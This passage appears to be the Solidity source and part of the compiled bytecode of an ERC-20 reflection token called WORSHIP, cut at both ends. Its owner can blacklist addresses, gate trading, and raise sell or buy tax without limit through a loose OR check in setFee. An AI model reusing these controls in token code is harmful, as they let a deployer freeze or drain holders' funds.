return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WORSHIP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WORSHIP";
string private constant _symbol = "WORSHIP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 6;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9;
uint256 public _maxWalletSize = 15000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461067e578063dd62ed3e146106a7578063ea1644d5146106e4578063f2fde38b1461070d576101e2565b8063a2a957bb146105c4578063a9059cbb146105ed578063bfd792841461062a578063c3c8cd8014610667576101e2565b80638f70ccf7116100d15780638f70ccf71461051c5780638f9a55c01461054557806395d89b411461057057806398a5c3151461059b576101e2565b80637d1db4a5146104725780637f2feddc1461049d5780638203f5fe146104da5780638da5cb5b146104f1576101e2565b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec146103de57806370a08231146103f5578063715018a61461043257806374010ece14610449576101e2565b8063313ce5671461033657806349bd5a5e146103615780636b9990531461038c5780636d8aa8f8146103b5576101e2565b80631694505e116101b65780631694505e1461027857806318160ddd146102a357806323b872dd146102ce5780632fd689e31461030b576101e2565b8062b8cf2a146101e757806306fdde0314610210578063095ea7b31461023b576101e2565b366101e257005b600080fd5b3480156101f357600080fd5b5061020e60048036038101906102099190612f95565b610736565b005b34801561021c57600080fd5b50610225610860565b6040516102329190613066565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d91906130be565b61089d565b60405161026f9190613119565b60405180910390f35b34801561028457600080fd5b5061028d6108bb565b60405161029a9190613193565b60405180910390f35b3480156102af57600080fd5b506102b86108e1565b6040516102c591906131bd565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f091906131d8565b6108f1565b6040516103029190613119565b60405180910390f35b34801561031757600080fd5b506103206109ca565b60405161032d91906131bd565b60405180910390f35b34801561034257600080fd5b5061034b6109d0565b6040516103589190613247565b60405180910390f35b34801561036d57600080fd5b506103766109d9565b6040516103839190613271565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae919061328c565b6109ff565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906132e5565b610aef565b005b3480156103ea57600080fd5b506103f3610ba1565b005b34801561040157600080fd5b5061041c6004803603810190610417919061328c565b610c13565b60405161042991906131bd565b60405180910390f35b34801561043e57600080fd5b50610447610c64565b005b34801561045557600080fd5b50610470600480360381019061046b9190613312565b610db7565b005b34801561047e57600080fd5b50610487610e69565b60405161049491906131bd565b60405180910390f35b3480156104a957600080fd5b506104c460048036038101906104bf919061328c565b610e6f565b6040516104d191906131bd565b60405180910390f35b3480156104e657600080fd5b506104ef610e87565b005b3480156104fd57600080fd5b50610506611113565b6040516105139190613271565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e91906132e5565b61113c565b005b34801561055157600080fd5b5061055a611205565b60405161056791906131bd565b60405180910390f35b34801561057c57600080fd5b5061058561120b565b6040516105929190613066565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613312565b611248565b005b3480156105d057600080fd5b506105eb60048036038101906105e6919061333f565b6112e7565b005b3480156105f957600080fd5b50610614600480360381019061060f91906130be565b6113ba565b6040516106219190613119565b60405180910390f35b34801561063657600080fd5b50610651600480360381019061064c919061328c565b6113d8565b60405161065e9190613119565b60405180910390f35b34801561067357600080fd5b5061067c6113f8565b005b34801561068a57600080fd5b506106a560048036038101906106a09190613401565b611472565b005b3480156106b357600080fd5b506106ce60048036038101906106c99190613461565b6115ac565b6040516106db91906131bd565b60405180910390f35b3480156106f057600080fd5b5061070b60048036038101906107069190613312565b611633565b005b34801561071957600080fd5b50610734600480360381019061072f919061328c565b6116d2565b005b61073e611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c2906134ed565b60405180910390fd5b60005b815181101561085c576001601060008484815181106107f0576107ef61350d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108549061356b565b9150506107ce565b5050565b60606040518060400160405280600781526020017f574f525348495000000000000000000000000000000000000000000000000000815250905090565b60006108b16108aa611894565b848461189c565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108fe848484611a67565b6109bf8461090a611894565b6109ba85604051806060016040528060288152602001613fd560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610970611894565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ec9092919063ffffffff16565b61189c565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a07611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8b906134ed565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610af7611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b906134ed565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be2611894565b73ffffffffffffffffffffffffffffffffffffffff1614610c0257600080fd5b6000479050610c1081612350565b50565b6000610c5d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc565b9050919050565b610c6c611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf0906134ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dbf611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e43906134ed565b60405180910390fd5b6611c37937e080008111610e5f57600080fd5b8060158190555050565b60155481565b60116020528060005260406000206000915090505481565b610e8f611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f13906134ed565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe591906135c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107091906135c9565b6040518363ffffffff1660e01b815260040161108d9291906135f6565b6020604051808303816000875af11580156110ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d091906135c9565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611144611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c8906134ed565b60405180910390fd5b60148054906101000a900460ff16156111e957600080fd5b806014806101000a81548160ff02191690831515021790555050565b60165481565b60606040518060400160405280600781526020017f574f525348495000000000000000000000000000000000000000000000000000815250905090565b611250611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d4906134ed565b60405180910390fd5b8060178190555050565b6112ef611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611373906134ed565b60405180910390fd5b6009548211158061138f5750600b548111155b61139857600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006113ce6113c7611894565b8484611a67565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611439611894565b73ffffffffffffffffffffffffffffffffffffffff161461145957600080fd5b600061146430610c13565b905061146f8161242a565b50565b61147a611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fe906134ed565b60405180910390fd5b60005b838390508110156115a657816005600086868581811061152d5761152c61350d565b5b9050602002016020810190611542919061328c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061159e9061356b565b91505061150a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61163b611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf906134ed565b60405180910390fd5b8060168190555050565b6116da611894565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175e906134ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ce90613691565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613723565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561197c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611973906137b5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a5a91906131bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ace90613847565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3e906138d9565b60405180910390fd5b60008111611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b819061396b565b60405180910390fd5b611b92611113565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c005750611bd0611113565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611feb5760148054906101000a900460ff16611c8d57611c1f611113565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c83906139fd565b60405180910390fd5b5b601554811115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990613a69565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d765750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dac90613afb565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611e625760165481611e1784610c13565b611e219190613b1b565b10611e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5890613be3565b60405180910390fd5b5b6000611e6d30610c13565b9050600060175482101590506015548210611e885760155491505b808015611ea25750601460159054906101000a900460ff16155b8015611efc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f145750601460169054906101000a900460ff165b8015611f6a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fc05750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fe857611fce8261242a565b60004790506000811115611fe657611fe547612350565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120925750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121455750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121445750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561215357600090506122da565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121fe5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561221657600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122c15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122d957600a54600c81905550600b54600d819055505b5b6122e6848484846126a3565b50505050565b6000838311158290612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b9190613066565b60405180910390fd5b50600083856123439190613c03565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123b8573d6000803e3d6000fd5b5050565b6000600654821115612403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fa90613ca9565b60405180910390fd5b600061240d6126d0565b905061242281846126fb90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561246257612461612df4565b5b6040519080825280602002602001820160405280156124905781602001602082028036833780820191505090505b50905030816000815181106124a8576124a761350d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561254f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061257391906135c9565b816001815181106125875761258661350d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125ee30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461189c565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663